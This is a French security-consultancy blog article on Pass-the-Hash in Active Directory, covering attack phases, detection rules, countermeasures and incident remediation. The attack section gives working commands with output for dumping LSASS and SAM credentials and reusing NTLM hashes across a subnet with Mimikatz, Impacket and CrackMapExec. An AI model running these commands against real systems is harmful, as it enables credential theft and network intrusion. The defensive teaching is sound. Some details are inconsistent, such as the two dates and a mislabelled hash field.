AYI NEDJIMI Consultants

Pass-the-Hash (PtH) : Comprendre, : Analyse Technique

Catégorie : Attaques Active Directory Lecture : 15 min Publié le : 07/12/2025 Auteur : Ayi NEDJIMI

Guide expert sur l Pass-the-Hash (PtH) : Comprendre, Détecter et Contrer. Expert en cybersécurité et intelligence artificielle. Guide technique.

Attaques Active Directory

Pass-the-Hash (PtH) : Mouvement Latéral sans Mot de Passe dans Active Directory

Publié le 16 octobre 2025 | Temps de lecture : 28 minutes | Par Ayi NEDJIMI Face a la sophistication croissante des attaques ciblant les environnements Active Directory et Entra ID, les administrateurs systeme et les equipes de securite doivent constamment renforcer leurs defenses. Cet article presente les techniques, outils et methodologies necessaires pour auditer, securiser et surveiller efficacement ces infrastructures critiques dans un contexte de menaces en perpetuelle evolution. Guide expert sur l Pass-the-Hash (PtH) : Comprendre, Détecter et Contrer. Expert en cybersécurité et intelligence artificielle. Guide technique. Active Directory reste la cible privilégiée des attaquants en environnement Windows. Comprendre pass the hash attaque defense est indispensable pour les équipes offensives comme défensives. Nous abordons notamment : pass-the-hash (pth) : mouvement latéral sans mot de passe dans active directory, sommaire et introduction : pourquoi pass-the-hash est-il toujours redoutable en 2025 ?. Les professionnels y trouveront des recommandations actionnables, des commandes prêtes à l'emploi et des stratégies de mise en œuvre adaptées aux environnements d'entreprise.

L'attaque **Pass-the-Hash (PtH)** est une technique de mouvement latéral parmi les plus anciennes et les plus redoutables dans les environnements Active Directory. En réutilisant directement les hash NTLM volés en mémoire, sans jamais avoir besoin du mot de passe en clair, les attaquants peuvent s'authentifier sur des systèmes distants et étendre leur compromission. Malgré son ancienneté, cette technique demeure extrêmement efficace en 2025 et constitue un pilier des campagnes APT et ransomware.

Sommaire

Notre avis d'expert
Les risques liés à l'identité hybride AD/Azure AD sont systématiquement sous-évalués. Nos audits révèlent que la synchronisation entre environnements on-premises et cloud crée des chemins d'attaque que ni l'équipe infrastructure ni l'équipe cloud ne surveillent efficacement.

Savez-vous combien de comptes à privilèges existent réellement dans votre domaine ?

Introduction : Pourquoi Pass-the-Hash est-il Toujours Redoutable en 2025 ?

Découverte publiquement dans les années 1990 et popularisée dans le contexte Windows au début des années 2000, l'attaque **Pass-the-Hash** exploite une caractéristique fondamentale du protocole d'authentification **NTLM** : le fait que le hash du mot de passe soit suffisant pour s'authentifier, sans jamais avoir besoin du mot de passe en clair.

Contrairement aux attaques nécessitant le cracking de hash (opération potentiellement longue et incertaine), le Pass-the-Hash permet une exploitation **immédiate** des credentials volés. Cette instantanéité, combinée à la prévalence de NTLM dans de nombreux environnements Active Directory legacy, en fait une technique de choix pour :

- **Le mouvement latéral** : Rebondir de machine en machine pour atteindre des cibles de haute valeur
- **L'escalade de privilèges** : Réutiliser les hash de comptes administrateurs présents en mémoire
- **La persistance** : Maintenir l'accès même après rotation des mots de passe (si les hash restent identiques)
- **L'exfiltration de données** : Accéder aux partages réseau et bases de données

Statistique clé : Selon le rapport 2024 de CrowdStrike sur les intrusions, Pass-the-Hash est utilisé dans 76% des cas de mouvement latéral observés dans les environnements Active Directory compromis. La technique demeure dans le Top 3 des tactiques MITRE ATT&CK les plus fréquemment détectées (T1550.002).

Ce qui rend Pass-the-Hash particulièrement dangereux, c'est sa **simplicité d'exécution** et la **disponibilité d'outils automatisés**. Un attaquant avec un accès initial bas-privilège sur une machine peut, en quelques minutes, extraire des hash et commencer à pivoter latéralement s'il trouve des credentials administrateurs en cache.

Qu'est-ce que Pass-the-Hash ?

Pour comprendre Pass-the-Hash en profondeur, il faut d'abord saisir les mécanismes d'authentification NTLM et comment Windows stocke les credentials en mémoire.

Le protocole NTLM et ses faiblesses intrinsèques

NTLM (NT LAN Manager) est un protocole d'authentification challenge-response développé par Microsoft dans les années 1990. Bien que largement remplacé par Kerberos dans les environnements Active Directory modernes, NTLM reste activé par défaut et fréquemment utilisé pour :

- L'authentification sur des systèmes non-joints au domaine (workgroups)
- L'accès par adresse IP au lieu de FQDN (Kerberos nécessite des noms DNS)
- Les scénarios de fallback lorsque Kerberos échoue
- Les anciennes applications qui ne supportent pas Kerberos
- L'authentification sur des systèmes hérités (Windows XP, 2003, etc.)

Le processus d'authentification NTLM se déroule en trois étapes (simplifié) :

1. **Negotiation** : Le client demande l'accès au serveur
2. **Challenge** : Le serveur envoie un challenge (nombre aléatoire) au client
3. **Response** : Le client chiffre le challenge avec le **hash NTLM de son mot de passe** et renvoie la réponse
4. **Validation** : Le serveur (ou le DC) vérifie que la réponse correspond en utilisant le hash stocké

La faiblesse critique est à l'étape 3 : **le hash NTLM lui-même est utilisé comme clé de chiffrement**. Cela signifie qu'un attaquant en possession du hash peut répondre aux challenges sans connaître le mot de passe original.

Stockage des Credentials en Mémoire (LSASS)

Windows stocke les credentials des utilisateurs connectés dans le processus **LSASS.exe (Local Security Authority Subsystem Service)** pour permettre le Single Sign-On (SSO). Lorsqu'un utilisateur se connecte, les éléments suivants peuvent être présents en mémoire :

- **Hash NTLM** : Hash du mot de passe (MD4 hash, faible cryptographiquement)
- **Mot de passe en clair** : Sur Windows 8.1/2012 R2 et antérieurs avec WDigest activé
- **Tickets Kerberos** : TGT et TGS en cache (voir Pass-the-Ticket)
- **Hash LM** : Sur les très anciens systèmes (obsolète)

Un attaquant avec des **privilèges SYSTEM ou administrateur local** peut dumper le contenu de LSASS et extraire ces credentials.

Définition formelle de Pass-the-Hash

Pass-the-Hash est une technique d'attaque qui consiste à :

1. Extraire le hash NTLM d'un compte depuis la mémoire LSASS ou d'autres sources (SAM, NTDS.dit)

2. Réutiliser ce hash pour s'authentifier via NTLM sur d'autres systèmes où le compte possède des privilèges
3. Obtenir l'accès sans jamais connaître ni cracker le mot de passe en clair

Cette technique est référencée dans MITRE ATT&CK sous l'identifiant **T1550.002 - Use Alternate Authentication Material: Pass the Hash**.

Important : Pass-the-Hash ne fonctionne qu'avec NTLM
Pass-the-Hash classique ne fonctionne **qu'avec l'authentification NTLM**. Elle ne fonctionne pas avec Kerberos. Cependant, une variante appelée **Overpass-the-Hash** (ou Pass-the-Key) permet d'utiliser un hash NTLM pour demander un TGT Kerberos. Pour les attaques ciblant spécifiquement Kerberos, consultez notre article Pass-the-Ticket.

Cas concret
Le groupe Conti utilisait systématiquement des attaques Kerberoasting pour extraire les tickets de service des comptes Active Directory dotés de SPN. L'analyse de leurs playbooks, fuités en 2022, a révélé une méthodologie industrialisée de compromission AD applicable en moins de 48 heures.

Comment Fonctionne l'Attaque Pass-the-Hash ?

L'exécution d'une attaque Pass-the-Hash se décompose en plusieurs phases techniques distinctes.

Phase 1 : Compromission Initiale et Élévation Locale

Avant de pouvoir extraire des hash NTLM depuis LSASS, l'attaquant doit d'abord obtenir un accès initial sur la machine cible, puis élever ses privilèges au niveau **SYSTEM** ou **Administrateur local**.

Vecteurs d'accès initial communs :

- **Phishing** : Email malveillant avec macro Office ou exécutable
- **Exploitation de vulnérabilités** : RCE sur services exposés (SMB, RDP, Exchange, etc.)
- **Credentials par défaut** : Mots de passe faibles ou non changés
- **Supply chain compromise** : Logiciels tiers compromis

Techniques d'élévation de privilèges locales :

- **UAC Bypass** : Contournement du User Account Control
- **Token Impersonation** : Abus de privilèges SeImpersonate (PrintSpoofer, JuicyPotato)
- **Exploitation kernel** : CVEs Windows non patchées
- **Services mal configurés** : Services modifiables par utilisateur standard

Phase 2 : Extraction des Hash NTLM

Une fois les privilèges élevés obtenus, l'attaquant peut extraire les credentials stockés en mémoire.

Méthode 1 : Mimikatz (sekurlsa::logonpasswords)
Mimikatz est l'outil de référence pour l'extraction de credentials Windows. La commande `sekurlsa::logonpasswords` extrait tous les credentials en mémoire :

Votre modèle de Tiering est-il réellement appliqué ou seulement documenté ?

```
# Élever les privilèges debug
mimikatz # privilege::debug
Privilege '20' OK

# Extraire tous les logon passwords
mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 1234567 (00000000:0012d687)
Session           : Interactive from 2
User Name         : admin_local
Domain            : WORKSTATION01
Logon Server      : WORKSTATION01
Logon Time        : 16/10/2025 09:15:32
SID               : S-1-5-21-...
    msv :
     [00000003] Primary
     * Username : admin_local
     * Domain   : WORKSTATION01
     * NTLM     : a4f49c406510bdcab6824ee7c30fd852
     * SHA1     : 8846f7eaee8fb117ad06bdd830b7586c
    tspkg :
    wdigest :
     * Username : admin_local
     * Domain   : WORKSTATION01
     * Password : (null)
    kerberos :
     * Username : admin_local
     * Domain   : WORKSTATION01
     * Password : (null)

[...]
```

Dans cet exemple, le hash NTLM `a4f49c406510bdcab6824ee7c30fd852` est extrait et peut être réutilisé immédiatement.

Méthode 2 : Procdump + Mimikatz (technique EDR evasion)
Pour contourner les EDR qui détectent Mimikatz, les attaquants utilisent **Procdump** (outil légitime Microsoft Sysinternals) pour dumper LSASS, puis analysent le dump hors ligne :

```
# Sur la machine cible (avec Procdump)
procdump.exe -accepteula -ma lsass.exe lsass.dmp

# Transférer lsass.dmp sur machine attaquant
# Analyse hors ligne avec Mimikatz
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
```

Méthode 3 : Extraction depuis SAM (Local Accounts)
Pour les comptes locaux, les hash peuvent être extraits directement depuis la base de données **SAM** :

```
# Dump SAM et SYSTEM registry hives
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive

# Extraction avec secretsdump.py (Impacket)
secretsdump.py -sam sam.hive -system system.hive LOCAL

[*] Target system bootKey: 0x...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a4f49c406510bdcab6824ee7c30fd852:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
admin_local:1001:aad3b435b51404eeaad3b435b51404ee:a4f49c406510bdcab6824ee7c30fd852:::
```

Méthode 4 : Extraction depuis NTDS.dit (Domain Accounts)
Si l'attaquant compromet un contrôleur de domaine, il peut extraire **tous les hash du domaine** depuis NTDS.dit (voir notre article sur DCSync).

Phase 3 : Exécution du Pass-the-Hash

Avec le hash NTLM en main, l'attaquant peut maintenant l'utiliser pour s'authentifier sur d'autres systèmes. Les recommandations de MITRE ATT&CK constituent une reference essentielle.

Technique 1 : Mimikatz Pass-the-Hash
Mimikatz peut injecter le hash dans une nouvelle session pour permettre l'authentification NTLM :

```
mimikatz # sekurlsa::pth /user:admin_local /domain:WORKSTATION01 /
ntlm:a4f49c406510bdcab6824ee7c30fd852 /run:cmd.exe

user    : admin_local
domain  : WORKSTATION01
program : cmd.exe
impers. : no
NTLM    : a4f49c406510bdcab6824ee7c30fd852
  |  PID  4567
  |  TID  8901
  |  LSA Process is now R/W
  |  LUID 0 ; 9876543 (00000000:0096e50f)
  \_ msv1_0   - data copy @ 00000000029A0000 : OK !
```

Une nouvelle fenêtre `cmd.exe` s'ouvre avec le hash injecté. Toutes les authentifications NTLM depuis cette fenêtre utiliseront le hash sans demander de mot de passe :

```
# Accès au partage C$ du serveur cible
C:\> dir \\server01.contoso.com\c$

# Exécution de commande distante avec PsExec
C:\> psexec.exe \\server01.contoso.com cmd.exe
```

Technique 2 : Impacket (psexec.py, wmiexec.py, smbexec.py)
La suite **Impacket** (Python) est extrêmement populaire pour Pass-the-Hash, notamment dans les environnements Linux/macOS :

```
# PsExec-like avec hash NTLM
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:a4f49c406510bdcab6824ee7c30fd852
admin_local@192.168.1.50

Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on 192.168.1.50.....
[*] Found writable share ADMIN$
[*] Uploading file vJHxKLmD.exe
[*] Opening SVCManager on 192.168.1.50.....
[*] Creating service XNBR on 192.168.1.50.....
[*] Starting service XNBR.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19045.3570]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>
```

Variantes Impacket pour différents protocoles :

- `smbexec.py` : Exécution via SMB, plus furtif (pas de service créé, utilise batch files)
- `wmiexec.py` : Exécution via WMI, très furtif (pas de fichiers sur disque)
- `atexec.py` : Exécution via Task Scheduler
- `dcomexec.py` : Exécution via DCOM

Technique 3 : CrackMapExec / NetExec

CrackMapExec (maintenant NetExec) est un outil de post-exploitation qui excelle dans le mouvement latéral massif :

```
# Scanner un subnet entier avec Pass-the-Hash
crackmapexec smb 192.168.1.0/24 -u admin_local -H a4f49c406510bdcab6824ee7c30fd852

SMB         192.168.1.10    445    SERVER01    [*] Windows 10.0 Build 19041 x64
(name:SERVER01) (domain:CONTOSO) (signing:False) (SMBv1:False)
SMB         192.168.1.10    445    SERVER01    [+] CONTOSO\admin_local
a4f49c406510bdcab6824ee7c30fd852 (Pwn3d!)
SMB         192.168.1.15    445    SERVER02    [*] Windows Server 2019 Build 17763 x64
(name:SERVER02) (domain:CONTOSO) (signing:False) (SMBv1:False)
SMB         192.168.1.15    445    SERVER02    [+] CONTOSO\admin_local
a4f49c406510bdcab6824ee7c30fd852 (Pwn3d!)

# Exécution de commande sur toutes les machines compromises
crackmapexec smb 192.168.1.0/24 -u admin_local -H a4f49c406510bdcab6824ee7c30fd852 -x
"whoami"
```

Le marqueur **(Pwn3d!)** indique que le compte possède des privilèges d'administration locale sur la machine cible.

Phase 4 : Mouvement Latéral et Escalade

L'objectif final est d'atteindre des systèmes de haute valeur (contrôleurs de domaine, serveurs de fichiers, bases de données) et d'obtenir des comptes Domain Admin.

Stratégie typique de mouvement latéral :

1. **Compromission workstation utilisateur** → Extraction hash admin local
2. **PtH vers autres workstations** → Recherche de sessions admin privilégié en mémoire
3. **Extraction hash Domain Admin** → Depuis une machine où un DA est connecté
4. **PtH vers Domain Controller** → Accès complet au domaine
5. **Extraction KRBTGT hash** → Golden Ticket pour persistance ultime

Le problème du "Local Admin Password Reuse"
Une vulnérabilité extrêmement courante est la **réutilisation du même mot de passe d'administrateur local** sur toutes les machines du parc (souvent configuré via GPO ou images de déploiement). Si un attaquant obtient le hash du compte "Administrateur" local d'une machine, il peut se connecter à **toutes les machines** utilisant le même password. C'est pour cela que **LAPS** (Local Administrator Password Solution) est critique.

Méthodes de Détection du Pass-the-Hash

La détection de Pass-the-Hash repose sur l'identification de comportements anormaux dans les authentifications NTLM et l'analyse des accès mémoire suspects sur LSASS.

Détection des Dumps LSASS (Phase d'Extraction)

Le dump de LSASS est une activité hautement suspecte qui peut être détectée par plusieurs mécanismes.

Event ID Windows
Événements clés à monitorer :

Event ID	Source	Description	Indicateur
10	Sysmon	ProcessAccess	TargetImage=lsass.exe, GrantedAccess=0x1010 ou 0x1410
4656	Security	Handle to Object Requested	ObjectName=\Device\HarddiskVolume?\Windows\System32\lsass.exe
4663	Security	Object Access Attempt	ObjectName contient lsass.exe avec accès Process Memory
1	Sysmon	Process Creation	CommandLine contient "procdump", "lsass", "comsvcs.dll MiniDump"

Détection EDR
Les solutions EDR modernes détectent les dumps LSASS via :

- **Behavioral analysis** : Détection de patterns d'accès mémoire suspects (lectures massives de LSASS)
- **API hooking** : Interception des appels OpenProcess, ReadProcessMemory sur LSASS
- **Kernel callbacks** : Monitoring des handles vers LSASS au niveau kernel
- **Signature detection** : Détection de Mimikatz, Procdump, et outils similaires

Solutions EDR efficaces contre Pass-the-Hash :

- **CrowdStrike Falcon** : Indicateur de Comportement (IOB) "LSASS Memory Access"
- **Microsoft Defender for Endpoint** : Alerte "Credential Dumping" (MITRE T1003)
- **SentinelOne** : Détection comportementale "Suspected Credential Access"
- **Carbon Black** : Règle watchlist "LSASS Access"

Détection des Authentifications NTLM Anormales

Le Pass-the-Hash génère des patterns d'authentification NTLM suspects détectables via l'analyse de logs.

Event ID 4624 - Logon réussi
Analyser les Event ID 4624 avec attention aux champs suivants :

```
Event ID: 4624
Logon Type: 3 (Network)
Authentication Package: NTLM
Logon Process: NtLmSsp
Workstation Name: ATTACKER-PC  ← ⚠️ Nom inhabituel
Source Network Address: 192.168.1.99  ← ⚠️ IP suspecte
Account Name: admin_local  ← ⚠️ Compte privilégié
```

Indicateurs suspects :

- **Logon Type 3** (Network) depuis une machine inhabituelle pour ce compte
- **Authentication Package NTLM** alors que Kerberos devrait être utilisé (authentification intra-domaine)
- **Compte privilégié** se connectant depuis un workstation non-admin
- **Horaires anormaux** (3h du matin pour un compte IT, par exemple)
- **Source géographique inhabituelle** (si corrélation IP/géolocalisation disponible)

Event ID 4625 - Logon échoué
Les tentatives de PtH échouées (mauvais hash, compte inexistant sur cible) génèrent des 4625 :

```
Event ID: 4625
Failure Reason: Unknown user name or bad password
Logon Type: 3
Authentication Package: NTLM
Failure Information:
    Sub Status: 0xC000006D  ← "logon failure: unknown user name or bad password"
```

Un burst de 4625 depuis la même source vers plusieurs cibles peut indiquer un scan PtH automatisé (CrackMapExec).

Règles SIEM pour Détection Pass-the-Hash

Exemples de règles de corrélation SIEM (Splunk, Sentinel, QRadar, etc.) :

```
# Règle 1: LSASS Access depuis processus suspect
source="Sysmon" EventCode=10 TargetImage="*lsass.exe"
| where NOT SourceImage IN ("C:\\Windows\\System32\\wininit.exe", "C:\\Windows\\System32\
\svchost.exe")
| stats count by SourceImage, Computer
| where count > 1

# Règle 2: Authentification NTLM privilégiée depuis workstation
source="WinEventLog:Security" EventCode=4624 LogonType=3 AuthenticationPackageName="NTLM"
| lookup privileged_accounts AccountName as Account_Name OUTPUT is_privileged
| where is_privileged=1
| lookup workstations Computer as WorkstationName OUTPUT is_workstation
| where is_workstation=1
| stats count by Account_Name, WorkstationName, IpAddress

# Règle 3: Spike d'authentifications NTLM (scanning PtH)
source="WinEventLog:Security" EventCode=4624 OR EventCode=4625
AuthenticationPackageName="NTLM"
| bin _time span=5m
| stats count by _time, IpAddress
| where count > 20

# Règle 4: Admin local se connectant à multiples machines rapidement
source="WinEventLog:Security" EventCode=4624 LogonType=3
| where Account_Name="Administrator" OR Account_Name="admin_local"
| bin _time span=10m
| stats dc(Computer) as unique_targets by _time, Account_Name, IpAddress
| where unique_targets > 5
```

Solutions Spécialisées de Détection

Microsoft Defender for Identity (anciennement Azure ATP)
Defender for Identity détecte Pass-the-Hash via :

- **Alerte "Suspected identity theft (Pass-the-Hash)"** : Basée sur l'analyse des authentifications NTLM anormales
- **Détection de mouvement latéral** : Connexions privilégiées depuis machines non-admin
- **Profiling comportemental** : Apprentissage des patterns normaux par utilisateur/machine

Honeypots et Comptes Leurres
Stratégie proactive : créer des comptes "honey" avec des mots de passe faibles, et monitorer toute utilisation :

```
# Créer un compte honeypot
New-ADUser -Name "admin_backup" -AccountPassword (ConvertTo-SecureString
"HoneyPassword123!" -AsPlainText -Force) -Enabled $true -Description "HONEYPOT - DO NOT
USE"

# Ajouter à un groupe privilégié (pour attirer attaquants)
Add-ADGroupMember -Identity "Backup Operators" -Members "admin_backup"

# Configurer alerte sur toute utilisation
# Via SIEM: Alert on ANY Event 4624 with Account_Name="admin_backup"
```

Toute authentification de ce compte est une indication certaine de compromission.

Contremesures et Prévention

La défense contre Pass-the-Hash nécessite une approche en profondeur combinant durcissement des endpoints, segmentation réseau, et restrictions d'authentification.

1. LAPS (Local Administrator Password Solution)

LAPS est la contremesure la plus critique contre Pass-the-Hash. Cette solution Microsoft gratuite randomise automatiquement les mots de passe des comptes administrateurs locaux sur chaque machine du parc.

Fonctionnement de LAPS

- Génération automatique de mots de passe aléatoires complexes (14+ caractères)
- Stockage sécurisé dans Active Directory (attribut confidentiel de l'objet ordinateur)
- Rotation automatique selon calendrier configurable (ex: tous les 30 jours)
- Accès contrôlé par ACL (seuls les admins autorisés peuvent lire les passwords)
- Historique et audit des consultations

Déploiement de LAPS

```
# 1. Étendre le schéma AD
Import-Module AdmPwd.PS
Update-AdmPwdADSchema

# 2. Définir les permissions (qui peut lire les passwords)
Set-AdmPwdComputerSelfPermission -OrgUnit "OU=Workstations,DC=contoso,DC=com"
Set-AdmPwdReadPasswordPermission -OrgUnit "OU=Workstations,DC=contoso,DC=com"
-AllowedPrincipals "CONTOSO\IT-Admins"

# 3. Déployer la GPO LAPS
# Computer Configuration > Policies > Administrative Templates > LAPS
# Enable local admin password management: Enabled
# Password Settings: 14 characters, 30 days expiration

# 4. Installer LAPS client sur endpoints (via GPO ou SCCM)
msiexec /i LAPS.x64.msi /quiet

# 5. Consultation du password (admins autorisés uniquement)
Get-AdmPwdPassword -ComputerName WORKSTATION01
```

Impact : Avec LAPS déployé, même si un attaquant extrait le hash admin local d'une machine, ce hash ne fonctionnera sur **aucune autre machine**, cassant la chaîne de mouvement latéral.

2. Windows Credential Guard

Credential Guard utilise la sécurité basée sur virtualisation (VBS) pour isoler les secrets LSASS dans une enclave protégée, inaccessible même avec des privilèges SYSTEM.

Activation de Credential Guard

```
# Via GPO
Computer Configuration > Administrative Templates > System > Device Guard
"Turn On Virtualization Based Security" = Enabled
  Platform Security Level: Secure Boot and DMA Protection
  Credential Guard Configuration: Enabled with UEFI lock

# Via Registry (alternative)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v
"EnableVirtualizationBasedSecurity" /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "LsaCfgFlags" /t REG_DWORD /d 1 /f

# Vérification du status
msinfo32  # Chercher "Credential Guard" dans "Virtualization-based security Services
Running"
```

Prérequis : UEFI firmware, Secure Boot activé, TPM 2.0, CPU supportant la virtualisation (VT-x/AMD-V), Windows 10 Enterprise/11 ou Server 2016+.

Limitation : Credential Guard protège principalement contre l'extraction de hash NTLM et tickets Kerberos depuis LSASS. Il ne protège pas contre toutes les formes de credential theft (ex: keyloggers, phishing).

3. Désactivation de NTLM (Enforcement de Kerberos)

La solution la plus radicale est de **désactiver complètement NTLM** et forcer l'utilisation exclusive de Kerberos.

Approche progressive de désactivation NTLM

1. **Phase 1 - Audit** : Activer l'audit NTLM pour identifier qui utilise NTLM

```
 # GPO: Computer Configuration > Windows Settings > Security Settings > Local Policies
> Security Options
"Network security: Restrict NTLM: Audit NTLM authentication in this domain" = Enable
all
"Network security: Restrict NTLM: Audit Incoming NTLM Traffic" = Enable auditing for
all accounts

# Analyser les Event ID 8004 (NTLM audit events) pendant 30-60 jours
# Identifier les systèmes/applications utilisant NTLM
```

2. **Phase 2 - Correction** : Migrer les systèmes/apps identifiés vers Kerberos
3. **Phase 3 - Blocage progressif** : Bloquer NTLM par OU

```
# GPO par OU (commencer par OU de test)
"Network security: Restrict NTLM: NTLM authentication in this domain" = Deny all
"Network security: Restrict NTLM: Incoming NTLM traffic" = Deny all accounts
```

4. **Phase 4 - Blocage domaine entier** : Appliquer au domaine complet après validation

Attention : Impact potentiel de la désactivation NTLM
La désactivation de NTLM peut casser :

- L'authentification par adresse IP (Kerberos nécessite DNS/FQDN)
- Les anciennes applications ne supportant pas Kerberos
- Les systèmes non-joints au domaine (workgroups)
- Certaines authentifications SQL Server, IIS, Exchange (à vérifier)

Une phase d'audit prolongée (60-90 jours) est **impérative** avant tout blocage.

4. Protected Users Security Group

Le groupe **Protected Users** (introduit dans Windows Server 2012 R2) applique automatiquement des protections renforcées aux comptes membres :

- **Pas de cache NTLM** : Les hash NTLM ne sont pas stockés en mémoire
- **Pas de Kerberos DES/RC4** : Force AES uniquement
- **Pas de delegation** : Empêche la délégation Kerberos non-contrainte
- **Pas de pre-authentication CredSSP** : Bloque WDigest et CredSSP
- **TGT lifetime réduit** : Maximum 4 heures (non-renouvelable)

```
# Ajouter les comptes privilégiés au groupe Protected Users
Add-ADGroupMember -Identity "Protected Users" -Members "Domain Admins"
Add-ADGroupMember -Identity "Protected Users" -Members "admin_tier0"

# Vérification
Get-ADGroupMember "Protected Users"
```

Important : Tester avant d'ajouter des comptes de production, car certaines applications/services peuvent être incompatibles.

5. SMB Signing (Signature SMB)

Activer **SMB signing** empêche les attaques de type SMB relay (souvent utilisées en combinaison avec PtH).

```
# Via GPO
Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies
> Security Options

"Microsoft network client: Digitally sign communications (always)" = Enabled
"Microsoft network server: Digitally sign communications (always)" = Enabled
```

Impact performance : Léger (< 5% CPU overhead), largement compensé par le gain sécurité.

6. Restricted Admin Mode pour RDP

Restricted Admin mode empêche l'envoi de credentials lors de connexions RDP, réduisant le risque de vol de credentials sur le serveur cible.

```
# Activer Restricted Admin sur serveurs RDP
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "DisableRestrictedAdmin" /t
REG_DWORD /d 0 /f

# Connexion RDP en mode Restricted Admin (depuis client)
mstsc.exe /restrictedAdmin
```

Limitation : L'utilisateur n'aura accès qu'aux ressources accessibles via Kerberos depuis le serveur RDP, pas via credentials délégués.

7. Remote Credential Guard

Pour RDP, une alternative plus robuste est **Remote Credential Guard**, qui maintient les credentials sur le client et ne les envoie jamais au serveur :

```
# Activer Remote Credential Guard via GPO
Computer Configuration > Administrative Templates > System > Credentials Delegation
"Restrict delegation of credentials to remote servers" = Enabled
  Use the following restricted mode: Require Remote Credential Guard
```

Checklist de Prévention Pass-the-Hash

- ☑ LAPS déployé sur tous les endpoints et serveurs
- ☑ Credential Guard activé sur toutes les machines compatibles
- ☑ Comptes privilégiés dans le groupe "Protected Users"
- ☑ SMB Signing forcé sur tous les systèmes
- ☑ Audit NTLM activé (en vue de désactivation progressive)
- ☑ Restricted Admin ou Remote Credential Guard pour RDP
- ☑ Tiered Administration implémenté (comptes Tier 0 ne se connectent pas sur Tier 1/2)
- ☑ EDR déployé avec détection LSASS access
- ☑ Sysmon configuré (Event 10 monitoring)
- ☑ SIEM avec règles de détection PtH
- ☑ Pas de comptes admin en mémoire sur workstations utilisateur
- ☑ Honeypots comptes privilégiés déployés

Remédiation après Compromission Pass-the-Hash

Si vous détectez ou suspectez une attaque Pass-the-Hash active dans votre environnement, une réponse rapide et structurée est critique.

Phase 1 : Containment (Confinement)

Objectif : Stopper immédiatement la propagation de l'attaque.

1. **Isoler les machines sources identifiées**

```
# Désactiver interface réseau via GPO (déploiement immédiat)
# OU: Isolation réseau au niveau switch/firewall (VLAN quarantaine)
```

2. **Bloquer les comptes compromis**

```
# Désactiver le compte utilisé pour PtH
Disable-ADAccount -Identity "admin_local"

# Forcer déconnexion de toutes sessions actives
quser /server:SERVER01  # Identifier session ID
logoff  /server:SERVER01
```

3. **Augmenter le niveau de logging**

```
# Activer audit détaillé sur DCs et systèmes critiques
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
auditpol /set /category:"Account Logon" /success:enable /failure:enable
```

4. **Bloquer IP source au firewall** : Si l'IP attaquant est identifiée

Phase 2 : Eradication

Objectif : Éliminer la capacité de l'attaquant à maintenir l'accès.

1. **Réinitialisation des mots de passe des comptes compromis**

```
# Tous les comptes locaux admin sur machines compromises
# Si LAPS déjà déployé:
Reset-AdmPwdPassword -ComputerName WORKSTATION01

# Si LAPS non déployé (urgence):
net user Administrator "NewComplexP@ssw0rd!" /domain

# Comptes domaine compromis:
Set-ADAccountPassword -Identity "admin_local" -Reset -NewPassword (ConvertTo-
SecureString "NewP@ssw0rd" -AsPlainText -Force)
Set-ADUser -Identity "admin_local" -ChangePasswordAtLogon $true
```

2. **Rotation KRBTGT (si suspicion d'accès Domain Admin)**

```
# Double rotation KRBTGT (10h d'intervalle)
New-KrbtgtKeys.ps1 -BypassDCValidation
# Attendre 10 heures
New-KrbtgtKeys.ps1 -BypassDCValidation
```

   Voir notre article Golden Ticket pour la procédure détaillée.

3. **Réimagerie des endpoints compromis**

```
# Ne PAS simplement "nettoyer" - Réimager depuis baseline propre
# Vérifier absence de persistence (scheduled tasks, services, registry run keys)
# Analyse antivirus/EDR complète avant réintégration réseau
```

4. **Audit et suppression des backdoors**
   - Scheduled Tasks malveillantes
   - Services créés par attaquant
   - Comptes cachés (RID 1000-1100)
   - Modifications GPO
   - DLLs malveillantes, Skeleton Key (voir Skeleton Key)

Phase 3 : Recovery (Récupération)

1. **Déploiement accéléré de LAPS** : Si non déjà fait, c'est le moment
2. **Activation Credential Guard** : Sur toutes machines compatibles
3. **Revue des privilèges**

```
# Audit des membres des groupes privilégiés
Get-ADGroupMember "Domain Admins" | Select Name, SamAccountName
Get-ADGroupMember "Enterprise Admins" | Select Name, SamAccountName

# Suppression des comptes inutiles
Remove-ADGroupMember "Domain Admins" -Members "old_admin" -Confirm:$false
```

4. **Reconnexion progressive des systèmes** : Après validation intégrité
5. **Surveillance renforcée 90 jours** : Monitoring accru pour détecter toute persistance résiduelle

Phase 4 : Post-Mortem et Amélioration Continue

- **Timeline de l'incident** : Reconstituer la séquence complète de l'attaque
- **Root cause analysis** : Comment l'attaquant a-t-il obtenu l'accès initial ?
- **Gaps identifiés** : Pourquoi PtH n'a pas été détecté plus tôt ?
- **Plan d'action correctif** : Implémentation des contremesures manquantes
- **Mise à jour du playbook IR** : Documenter les leçons apprises

Pour une assistance experte en réponse à incident Pass-the-Hash, consultez notre service de réponse à incident 24/7.

Comment fonctionne l'attaque Pass-the-Hash et pourquoi est-elle si repandue ?

Pass-the-Hash exploite le mecanisme d'authentification NTLM de Windows ou le hash du mot de passe est utilise directement pour l'authentification, sans necessite de connaitre le mot de passe en clair. L'attaquant extrait les hash NTLM de la memoire LSASS, de la base SAM ou de la base NTDS.dit, puis les injecte dans une session d'authentification via des outils comme Mimikatz, Impacket ou CrackMapExec. Cette attaque est repandue car NTLM reste active par defaut dans la plupart des environnements Windows pour la compatibilite avec les systemes legacy.

Quelles mesures techniques permettent de se proteger efficacement contre Pass-the-Hash ?

